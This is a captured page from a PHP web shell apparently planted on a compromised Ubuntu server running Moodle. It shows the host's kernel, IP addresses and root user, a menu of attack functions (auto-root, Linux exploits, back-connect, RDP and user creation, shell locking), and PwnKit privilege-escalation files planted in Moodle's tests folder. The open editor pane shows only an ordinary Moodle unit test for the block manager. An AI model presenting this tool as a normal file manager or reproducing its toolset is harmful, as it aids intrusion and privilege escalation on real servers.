Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_test.php
121.33
KB
-rwxrwxrwx
admintree_test.php
4.01
KB
-rwxrwxrwx
authlib_test.php
6.87
KB
-rwxrwxrwx
blocklib_test.php
13.18
KB
-rwxrwxrwx
code_test.php
2.89
KB
-rwxrwxrwx
completionlib_advanced_test.ph...
4.3
KB
-rwxrwxrwx
completionlib_test.php
29.62
KB
-rwxrwxrwx
componentlib_test.php
6.62
KB
-rwxrwxrwx
conditionlib_test.php
33.62
KB
-rwxrwxrwx
configonlylib_test.php
5.62
KB
-rwxrwxrwx
coursecatlib_test.php
27.33
KB
-rwxrwxrwx
csslib_test.php
54.76
KB
-rwxrwxrwx
csvclass_test.php
5.53
KB
-rwxrwxrwx
datalib_test.php
12.26
KB
-rwxrwxrwx
environment_test.php
1.57
KB
-rwxrwxrwx
eventslib_test.php
7.97
KB
-rwxrwxrwx
externallib_test.php
6.19
KB
-rwxrwxrwx
filelib_test.php
14.51
KB
-rwxrwxrwx
filter_test.php
26.7
KB
-rwxrwxrwx
formslib_test.php
28.63
KB
-rwxrwxrwx
gradelib_test.php
2.03
KB
-rwxrwxrwx
grouplib_test.php
18.92
KB
-rwxrwxrwx
html2text_test.php
6.15
KB
-rwxrwxrwx
htmlpurifier_test.php
9.8
KB
-rwxrwxrwx
htmlwriter_test.php
6.3
KB
-rwxrwxrwx
markdown_test.php
2.21
KB
-rwxrwxrwx
mathslib_test.php
8.21
KB
-rwxrwxrwx
medialib_test.php
23.77
KB
-rwxrwxrwx
messagelib_test.php
7.46
KB
-rwxrwxrwx
modinfolib_test.php
8.07
KB
-rwxrwxrwx
moodlelib_test.php
123.49
KB
-rwxrwxrwx
navigationlib_test.php
24.21
KB
-rwxrwxrwx
outputcomponents_test.php
18.2
KB
-rwxrwxrwx
outputlib_test.php
8.9
KB
-rwxrwxrwx
outputrequirementslib_test.php
1.71
KB
-rwxrwxrwx
pagelib_test.php
22.8
KB
-rwxrwxrwx
pluginlib_test.php
37.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib_test.php
3.1
KB
-rwxrwxrwx
rsslib_test.php
7.12
KB
-rwxrwxrwx
setuplib_test.php
5.73
KB
-rwxrwxrwx
statslib_test.php
19.13
KB
-rwxrwxrwx
string_test.php
4.21
KB
-rwxrwxrwx
textlib_test.php
24.62
KB
-rwxrwxrwx
upgradelib_test.php
1.47
KB
-rwxrwxrwx
weblib_test.php
16.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blocklib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests for the block_manager class in ../blocklib.php. * * @package core * @category phpunit * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/pagelib.php'); require_once($CFG->libdir . '/blocklib.php'); require_once($CFG->dirroot . '/blocks/moodleblock.class.php'); /** Test-specific subclass to make some protected things public. */ class testable_block_manager extends block_manager { public function mark_loaded() { $this->birecordsbyregion = array(); } public function get_loaded_blocks() { return $this->birecordsbyregion; } } class block_ablocktype extends block_base { public function init() { } } /** * Test functions that don't need to touch the database. */ class moodle_block_manager_testcase extends basic_testcase { protected $testpage; protected $blockmanager; protected function setUp() { parent::setUp(); $this->testpage = new moodle_page(); $this->testpage->set_context(context_system::instance()); $this->blockmanager = new testable_block_manager($this->testpage); } protected function tearDown() { $this->testpage = null; $this->blockmanager = null; parent::tearDown(); } public function test_no_regions_initially() { // Exercise SUT & Validate $this->assertEquals(array(), $this->blockmanager->get_regions()); } public function test_add_region() { // Exercise SUT. $this->blockmanager->add_region('a-region-name'); // Validate $this->assertEquals(array('a-region-name'), $this->blockmanager->get_regions()); } public function test_add_regions() { // Set up fixture. $regions = array('a-region', 'another-region'); // Exercise SUT. $this->blockmanager->add_regions($regions); // Validate $this->assertEquals($regions, $this->blockmanager->get_regions(), '', 0, 10, true); } public function test_add_region_twice() { // Exercise SUT. $this->blockmanager->add_region('a-region-name'); $this->blockmanager->add_region('another-region'); // Validate $this->assertEquals(array('a-region-name', 'another-region'), $this->blockmanager->get_regions(), '', 0, 10, true); } /** * @expectedException coding_exception * @return void */ public function test_cannot_add_region_after_loaded() { // Set up fixture. $this->blockmanager->mark_loaded(); // Exercise SUT. $this->blockmanager->add_region('too-late'); } public function test_set_default_region() { // Set up fixture. $this->blockmanager->add_region('a-region-name'); // Exercise SUT. $this->blockmanager->set_default_region('a-region-name'); // Validate $this->assertEquals('a-region-name', $this->blockmanager->get_default_region()); } /** * @expectedException coding_exception * @return void */ public function test_cannot_set_unknown_region_as_default() { // Exercise SUT. $this->blockmanager->set_default_region('a-region-name'); } /** * @expectedException coding_exception * @return void */ public function test_cannot_change_default_region_after_loaded() { // Set up fixture. $this->blockmanager->mark_loaded(); // Exercise SUT. $this->blockmanager->set_default_region('too-late'); } public function test_matching_page_type_patterns() { $this->assertEquals(array('site-index', 'site-index-*', 'site-*', '*'), matching_page_type_patterns('site-index'), '', 0, 10, true); $this->assertEquals(array('mod-quiz-report-overview', 'mod-quiz-report-overview-*', 'mod-quiz-report-*', 'mod-quiz-*', 'mod-*', '*'), matching_page_type_patterns('mod-quiz-report-overview'), '', 0, 10, true); $this->assertEquals(array('mod-forum-view', 'mod-*-view', 'mod-forum-view-*', 'mod-forum-*', 'mod-*', '*'), matching_page_type_patterns('mod-forum-view'), '', 0, 10, true); $this->assertEquals(array('mod-forum-index', 'mod-*-index', 'mod-forum-index-*', 'mod-forum-*', 'mod-*', '*'), matching_page_type_patterns('mod-forum-index'), '', 0, 10, true); } } /** * Test methods that load and save data from block_instances and block_positions. */ class moodle_block_manager_test_saving_loading_testcase extends advanced_testcase { protected $isediting = null; protected function purge_blocks() { global $DB; $bis = $DB->get_records('block_instances'); foreach($bis as $instance) { blocks_delete_instance($instance); } $this->resetAfterTest(true); } protected function get_a_page_and_block_manager($regions, $context, $pagetype, $subpage = '') { $page = new moodle_page; $page->set_context($context); $page->set_pagetype($pagetype); $page->set_subpage($subpage); $blockmanager = new testable_block_manager($page); $blockmanager->add_regions($regions); $blockmanager->set_default_region($regions[0]); return array($page, $blockmanager); } protected function get_a_known_block_type() { global $DB; $block = new stdClass; $block->name = 'ablocktype'; $DB->insert_record('block', $block); return $block->name; } protected function assertContainsBlocksOfType($typearray, $blockarray) { if (!$this->assertEquals(count($typearray), count($blockarray), "Blocks array contains the wrong number of elements %s.")) { return; } $types = array_values($typearray); $i = 0; foreach ($blockarray as $block) { $blocktype = $types[$i]; $this->assertEquals($blocktype, $block->name(), "Block types do not match at postition $i %s."); $i++; } } public function test_empty_initially() { $this->purge_blocks(); // Set up fixture. list($page, $blockmanager) = $this->get_a_page_and_block_manager(array('a-region'), context_system::instance(), 'page-type'); // Exercise SUT. $blockmanager->load_blocks(); // Validate. $blocks = $blockmanager->get_loaded_blocks(); $this->assertEquals(array('a-region' => array()), $blocks); } public function test_adding_and_retrieving_one_block() { $this->purge_blocks(); // Set up fixture. $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); $context = context_system::instance(); list($page, $blockmanager) = $this->get_a_page_and_block_manager(array($regionname), $context, 'page-type'); // Exercise SUT. $blockmanager->add_block($blockname, $regionname, 0, false); $blockmanager->load_blocks(); // Validate. $blocks = $blockmanager->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array($blockname), $blocks); } public function test_adding_and_retrieving_two_blocks() { $this->purge_blocks(); // Set up fixture. $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); $context = context_system::instance(); list($page, $blockmanager) = $this->get_a_page_and_block_manager(array($regionname), $context, 'page-type'); // Exercise SUT. $blockmanager->add_block($blockname, $regionname, 0, false); $blockmanager->add_block($blockname, $regionname, 1, false); $blockmanager->load_blocks(); // Validate. $blocks = $blockmanager->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array($blockname, $blockname), $blocks); } public function test_block_not_included_in_different_context() { $this->purge_blocks(); // Set up fixture. $syscontext = context_system::instance(); $cat = $this->getDataGenerator()->create_category(array('name' => 'testcategory')); $fakecontext = context_coursecat::instance($cat->id); $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); list($addpage, $addbm) = $this->get_a_page_and_block_manager(array($regionname), $fakecontext, 'page-type'); list($viewpage, $viewbm) = $this->get_a_page_and_block_manager(array($regionname), $syscontext, 'page-type'); $addbm->add_block($blockname, $regionname, 0, false); // Exercise SUT. $viewbm->load_blocks(); // Validate. $blocks = $viewbm->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array(), $blocks); } public function test_block_included_in_sub_context() { $this->purge_blocks(); // Set up fixture. $syscontext = context_system::instance(); $childcontext = context_coursecat::instance(1); $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); list($addpage, $addbm) = $this->get_a_page_and_block_manager(array($regionname), $syscontext, 'page-type'); list($viewpage, $viewbm) = $this->get_a_page_and_block_manager(array($regionname), $childcontext, 'page-type'); $addbm->add_block($blockname, $regionname, 0, true); // Exercise SUT. $viewbm->load_blocks(); // Validate. $blocks = $viewbm->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array($blockname), $blocks); } public function test_block_not_included_on_different_page_type() { $this->purge_blocks(); // Set up fixture. $syscontext = context_system::instance(); $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); list($addpage, $addbm) = $this->get_a_page_and_block_manager(array($regionname), $syscontext, 'page-type'); list($viewpage, $viewbm) = $this->get_a_page_and_block_manager(array($regionname), $syscontext, 'other-page-type'); $addbm->add_block($blockname, $regionname, 0, true); // Exercise SUT. $viewbm->load_blocks(); // Validate. $blocks = $viewbm->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array(), $blocks); } public function test_block_not_included_on_different_sub_page() { $this->purge_blocks(); // Set up fixture. $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); $syscontext = context_system::instance(); list($page, $blockmanager) = $this->get_a_page_and_block_manager(array($regionname), $syscontext, 'page-type', 'sub-page'); $blockmanager->add_block($blockname, $regionname, 0, true, $page->pagetype, 'other-sub-page'); // Exercise SUT. $blockmanager->load_blocks(); // Validate. $blocks = $blockmanager->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array(), $blocks); } public function test_block_included_with_explicit_sub_page() { $this->purge_blocks(); // Set up fixture. $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); $syscontext = context_system::instance(); list($page, $blockmanager) = $this->get_a_page_and_block_manager(array($regionname), $syscontext, 'page-type', 'sub-page'); $blockmanager->add_block($blockname, $regionname, 0, true, $page->pagetype, $page->subpage); // Exercise SUT. $blockmanager->load_blocks(); // Validate. $blocks = $blockmanager->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array($blockname), $blocks); } public function test_block_included_with_page_type_pattern() { $this->purge_blocks(); // Set up fixture. $regionname = 'a-region'; $blockname = $this->get_a_known_block_type(); $syscontext = context_system::instance(); list($page, $blockmanager) = $this->get_a_page_and_block_manager(array($regionname), $syscontext, 'page-type', 'sub-page'); $blockmanager->add_block($blockname, $regionname, 0, true, 'page-*', $page->subpage); // Exercise SUT. $blockmanager->load_blocks(); // Validate. $blocks = $blockmanager->get_blocks_for_region($regionname); $this->assertContainsBlocksOfType(array($blockname), $blocks); } }
Close